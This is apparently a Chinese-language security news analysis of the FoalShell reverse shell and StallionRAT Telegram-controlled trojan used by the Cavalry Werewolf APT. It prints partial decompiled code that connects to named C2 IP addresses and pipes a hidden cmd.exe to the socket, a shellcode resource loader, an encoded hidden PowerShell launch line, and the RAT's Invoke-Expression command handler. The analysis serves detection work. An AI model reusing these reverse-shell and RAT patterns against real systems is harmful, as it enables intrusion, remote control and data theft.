摘要

本報告針對 FoalShell reverse shell 和 StallionRAT remote access trojan (RAT) 這兩種不同的惡意軟體家族提供了深入的技術分析,它們皆被名為 Cavalry Werewolf 的 advanced persistent threat (APT) group 所採用。本分析深入探討了這些工具的多語言實作,特別是 FoalShell 的 C#、C++ 和 Go 版本,以及 StallionRAT 的 PowerShell 版本,檢視了它們的 command-and-control (C2) 機制、迴避技術和操作方法。本研究旨在闡明這些惡意軟體株背後複雜的技術基礎,提供有關其功能和潛在偵測策略的見解。

從 C# 到 Go: FoalShell 多語言後門如何躲避偵測?StallionRAT Telegram C2 全解析 | 資訊安全新聞

1. 簡介

Cavalry Werewolf APT group 被觀察到在目標攻擊中部署了一套複雜的多語言惡意軟體。其行動的核心是 FoalShell(一種多功能 reverse shell)和 StallionRAT(一種具有獨特基於 Telegram C2 功能的 remote access trojan)[1]。本報告專注於這些惡意軟體家族的技術複雜性,剖析其程式碼結構和操作流程,以提供對其設計和執行的全面理解。

2. FoalShell: 多語言 command-and-control 後門

FoalShell 是一個輕量級的 reverse shell,旨在透過 cmd.exe 為攻擊者提供對被滲透系統的命令列存取 [1]。它值得注意的特點是它跨多種程式語言的實作,包括 C#、C++ 和 Go,展現了攻擊者的適應性和陰險狡詐。

2.1. FoalShell C# 分析

FoalShell 的 C# 變體作為一個簡單的 reverse shell 運作。它與 C2 伺服器建立網路連線,並透過這個網路 socket 重新導向到一個隱藏 cmd.exe process 的標準輸入、輸出和錯誤串流。使用 ProcessWindowStyle.Hidden 可防止在被滲透主機上出現可見的命令提示視窗,從而確保隱蔽性 [1]。

核心功能涉及一個連續的迴圈,該迴圈從 C2 伺服器接收命令,使用 cmd.exe 執行它們,然後將命令的輸出和錯誤傳輸回 C2 伺服器。此變體觀察到的 C2 IP 是 188.127.225.191 , port 為 443 [1]。

C# 程式片段分析:

  1. TcpClient tcpClient = new TcpClient("188.127.225.191", 443); // Establishes a TCP connection to the C2 server at the specified IP and port.
  2. // ... [Connection and Stream setup] // Placeholder for network stream initialization.
  3. for (;;) // Enters an infinite loop to continuously receive and execute commands.
  4. {
  5. // ... [Read command from stream into @string] // Reads incoming commands from the C2 server.
  6. Process process = new Process(); // Creates a new process object.
  7. process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; // Hides the command prompt window for stealth.
  8. process.StartInfo.CreateNoWindow = true; // Ensures no new window is created.
  9. process.StartInfo.FileName = "cmd.exe"; // Specifies cmd.exe as the process to execute.
  10. process.StartInfo.Arguments = "/c " + @string; // Passes the received command to cmd.exe for execution.
  11. // ... [Redirect I/O] // Redirects standard input, output, and error streams to the network connection.
  12. process.Start(); // Starts the cmd.exe process.
  13. // ... [Read StandardOutput/StandardError and send back via stream] // Captures and sends command output back to C2.
  14. }
  15. // ... [Close connections] // Placeholder for closing network connections upon termination.

此程式片段說明了 C# FoalShell 的基本機制。它啟動與 hardcoded C2 伺服器的 TCP 連線,然後進入一個迴圈,透過 cmd.exe 執行從伺服器接收到的命令。這些命令的輸出會被重新導回 C2。使用 ProcessWindowStyle.Hidden 是一種關鍵的隱蔽技術。

2.2. FoalShell C++ 分析

FoalShell 的 C++ 變體採用了更複雜的迴避技術,主要利用 shellcode loader 來繞過靜態分析。一個 obfuscated FoalShell shellcode 被嵌入到 executable 的 resource 中,名稱為 output_bin [1]。

C++ Shellcode Loader 程式片段分析:

  1. int __fastcall main(int argc, const char argv, const char envp)
  2. {
  3. HRSRC ResourceW; // Handle to resource information block.
  4. DWORD v4; // Variable to store resource size.
  5. HGLOBAL Resource; // Handle to loaded resource.
  6. // Find the resource named "output_bin" of type 0x65 (custom resource type).
  7. ResourceW = FindResourceW(0LL, (LPCWSTR)0x65, L"output_bin");
  8. // Get the size of the found resource.
  9. v4 = SizeOfResource(0LL, ResourceW);
  10. // Load the resource into global memory.
  11. Resource = LoadResource(0LL, ResourceW);
  12. // Call a function to process/execute the loaded resource (shellcode).
  13. sub_1400011C0(Resource, v4);
  14. return 0;
  15. }

此程式碼演示了 C++ 變體如何載入其 malicious payload。它定位了一個特定的 resource ( output_bin ),將其載入到記憶體中,然後執行一個負責處理此 resource 的函數 ( sub_1400011C0 ),該 resource 就是 obfuscated shellcode。此方法有助於逃避傳統防毒解決方案的偵測,因為這些解決方案會掃描 executable sections 中已知的 malicious patterns。

執行後,shellcode 使用 VirtualAlloc 分配具有 Read、Write 和 Execute (RWE) 權限的記憶體,然後 deobfuscates 並執行主要的 reverse shellcode。此 shellcode 的網路功能連接到 C2 伺服器並啟動一個隱藏的 cmd.exe process,類似於 C# 變體。此 C++ 變體的 C2 IP 是 109.172.85.63 [1]。

C++ Shellcode 網路功能程式片段分析:

  1. int __fastcall main(int argc, const char argv, const char envp)
  2. {
  3. FreeConsole(); // Detaches the current process from its console, making it a background process.
  4. WSAStartup(0x202u, &WSAData); // Initializes Winsock DLL for network operations.
  5. s = WSASocketA(2, 1, 6, 0LL, 0, 0); // Creates a socket for network communication.
  6. // ... [Setup socket address structure] // Configures the socket address for the C2.
  7. *(DWORD *)&name.sa_data[2] = inet_addr("109.172.85.63"); // Sets the C2 IP address.
  8. WSAConnect(s, &name, 16, 0LL, 0LL, 0LL, 0LL); // Connects to the C2 server.
  9. // ... [Setup STARTUPINFO structure to redirect I/O] // Prepares structure to redirect cmd.exe I/O.
  10. StartupInfo.dwFlags = 257; // STARTF_USESTDHANDLES // Flag to use specified standard handles.
  11. StartupInfo.hStdError = (HANDLE)s; // Redirects standard error to the socket.
  12. StartupInfo.hStdOutput = (HANDLE)s; // Redirects standard output to the socket.
  13. StartupInfo.hStdInput = (HANDLE)s; // Redirects standard input from the socket.
  14. CreateProcessA(0LL, (LPSTR)"cmd.exe", 0LL, 0LL, 1, 0, 0LL, &StartupInfo, &ProcessInformation); // Creates a new cmd.exe process with redirected I/O.
  15. return 0;
  16. }

此 C++ shellcode 中的程式片段揭示了直接的網路通訊設定和 process 建立。它明確地與任何 console 分離,初始化 Winsock,建立一個 socket,並連接到 C2 伺服器。最重要的是,它隨後建立一個隱藏的 cmd.exe process,並將其標準輸入、輸出和錯誤串流重新導向到已建立的 C2 socket,有效地建立了一個 reverse shell

2.3. FoalShell Go 分析

FoalShell 的 Go 實作利用其 Native networking stack 來實現 reverse shell 功能。它連接到 C2 伺服器 62.113.114.209 的 port 443 ,並強制執行的 cmd.exe process 以隱藏的 window style 執行 [1]。

Go 程式片段分析:

  1. // ...
  2. v44 = net_Dial(((unsigned int)&unk_51863A, 3, (unsigned int)"62.113.114.209:443", 18, v0, v1, v2, v3); // Establishes a network connection to the C2 server.
  3. v45 = (_ptr_exec_Cmd)(os_exec_Command(
  4. (unsigned int)"cmd.exe windowsrunning", // Command to execute, likely cmd.exe.
  5. // ...
  6. p_syscall_SysProcAttr = (syscall_SysProcAttr *)runtime_newobject(&RTYPE_syscall_SysProcAttr); // Creates a new SysProcAttr object.
  7. p_syscall_SysProcAttr->HideWindow = 1; // Sets the HideWindow flag to true, ensuring the process runs without a visible window.
  8. v11 = v45;

Go 變體的程式碼強調了使用 Go 的 net_Dial 進行 C2 通訊,以及操作 syscall_SysProcAttr 以確保生成的 cmd.exe process 保持隱藏。這表明惡意軟體開發者有能力將核心 reverse shell 功能調整到不同的語言環境,同時保持隱蔽性和 C2 連線。

2.4. FoalShell 操作流程圖

graph TD             A[Initial Compromise] --> B{FoalShell Execution};             B --> C{Variant Detection?};             C -- C# --> D[Establish TCP Connection to C2: 188.127.225.191:443];             C -- C++ --> E[Load Obfuscated Shellcode from Resource];             E --> F[Allocate RWE Memory & Execute Shellcode];             F --> G[Initialize Winsock & Connect to C2: 109.172.85.63];             C -- Go --> H[Use Go net_Dial to C2: 62.113.114.209:443];             D --> I[Spawn Hidden cmd.exe];             G --> I;             H --> I;             I --> J[Redirect cmd.exe I/O to C2 Socket];             J --> K{Command Loop};             K -- Receive Command --> I;             K -- Send Output --> D;             K -- Send Output --> G;             K -- Send Output --> H;             K -- End Session --> L[Close Connections];

上圖說明了 FoalShell 惡意軟體在不同語言實作中的通用操作流程。它強調了導致 FoalShell 執行的初始 compromise,基於惡意軟體變體的 branching logic,以及建立 C2 通訊、生成隱藏 cmd.exe 和維持命令迴圈以進行遠端執行的常見步驟。

3. StallionRAT: Telegram 控制的存取

StallionRAT 是一種 Remote Access Trojan (RAT),其獨特之處在於使用 Telegram bot 作為其 Command and Control (C2) channel [1]。這種獨特的 C2 機制允許攻擊者發出任意命令、管理檔案以及從被滲透系統外洩資料。StallionRAT 已被觀察到有多種語言實作,包括 Go、PowerShell 和 Python。

3.1. StallionRAT PowerShell 傳送和功能

StallionRAT 的常見傳送方法涉及 C++ launcher 執行帶有 Base64-encoded command 的 PowerShell instance。這種技術通常用於逃避監控簡單 command-line arguments 的安全產品 [1]。

PowerShell Encoded Command 範例:

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABjAGgAYQB0AF8AaQBkACAAPQAgACIANwA3ADAAOQAyADIAOAAyADgANQAiAA0ACgAkA...

Base64-encoded command 經 decode 後,揭示了負責 Telegram 訊息解析和 C2 通訊的 PowerShell 邏輯。此邏輯實作了三個主要的命令用於攻擊者互動:

  1. /list : 擷取並格式化所有被滲透裝置的清單,為攻擊者提供對其存取的概覽。
  2. /go [DeviceID] [command] : 使用 Invoke-Expression 在特定的被滲透主機上執行指定的命令。這允許直接的遠端命令執行。
  3. /upload [DeviceID] : 促成透過 Telegram 下載檔案到主機,並將其儲存到 C:\Users\Public\Libraries\%fileName% 。此功能對於部署額外的工具或洩漏資料至關重要。

PowerShell Command Handling 程式片段分析:

  1. if ($message -eq "/list") {
  2. # ...
  3. # Builds a list of compromised devices with DeviceId and ComputerName
  4. # ...
  5. Send-TelegramMessage $devicelist // Sends the list of devices back to the C2 via Telegram.
  6. }
  7. if ($message -like "/go*") {
  8. if ($message.StartsWith("/go")) {
  9. # ... [Parses DeviceId and command] // Extracts the target device ID and command from the message.
  10. if ($userIdForDevice) {
  11. try {
  12. $output = Invoke-Expression $command 2>&1 // Executes the command and captures its output, including errors.
  13. # ... [Send output back via Telegram] // Sends the command execution result back to the C2.
  14. } catch {
  15. # ... [Send error message] // Handles errors during command execution and sends an error message.
  16. }
  17. }
  18. # ...
  19. }
  20. }
  21. // ... if ($message -like "/upload*") { ... } // Placeholder for the /upload command logic.

此 PowerShell 程式片段演示了處理從 Telegram C2 接收到的命令的條件邏輯。它顯示了 /list 命令如何編譯和傳送裝置資訊,以及 /go 命令如何解析其 arguments,透過 Invoke-Expression 執行任意命令,並返回輸出。這突顯了 StallionRAT C2 功能的模組化和可擴充性。

3.2. StallionRAT 操作流程圖

graph TD             A[Initial Compromise] --> B{StallionRAT Execution};             B --> C[Establish Telegram Bot API Connection];             C --> D{Monitor Telegram Channel for Commands};             D -- /list --> E[Gather Device Info];             E --> F[Send Device List via Telegram];             D -- /go [DeviceID] [command] --> G[Execute Command via Invoke-Expression];             G --> H[Send Command Output via Telegram];             D -- /upload [DeviceID] --> I[Download File from Telegram];             I --> J[Save File to C:\Users\Public\Libraries];             F --> D;             H --> D;             J --> D;

此 Mermaid 圖表說明了 StallionRAT 的操作流程,強調了其基於 Telegram 的 C2 通訊。在初始執行後,StallionRAT 連接到 Telegram Bot API 並持續監控命令。根據收到的命令(例如 /list /go /upload ),它執行特定的操作並透過 Telegram 向攻擊者回報。

4. Post-Exploitation 和 Lateral Movement

除了初始存取和 C2 建立之外,Cavalry Werewolf group 還專注於保持持久性並擴大其在被滲透網路中的控制。一個關鍵策略涉及將 StallionRAT binaries(例如 win.exe )部署到特定目錄,例如 C:\Users\... ,以確保持續存取 [1]。這突顯了一個常見的 post-exploitation 階段,攻擊者在此階段鞏固其立足點並為進一步的 malicious activities 做準備,包括資料洩漏或 lateral movement 到網路中的其他系統。

5. 結論

Cavalry Werewolf APT group 透過使用多語言惡意軟體家族 FoalShell 和 StallionRAT,展現了高水準的技術複雜性。FoalShell 及其 C#、C++ 和 Go 變體提供了強大的 reverse shell 功能,採用了隱藏 process 執行和 shellcode loading 等技術進行迴避。StallionRAT 以基於 Telegram 的 C2 脫穎而出,提供了靈活的遠端存取、命令執行和檔案傳輸功能。了解這些惡意軟體株的技術細節,包括它們的 C2 機制、程式碼結構和操作流程,對於制定有效的偵測和緩解策略以應對此類先進威脅至關重要。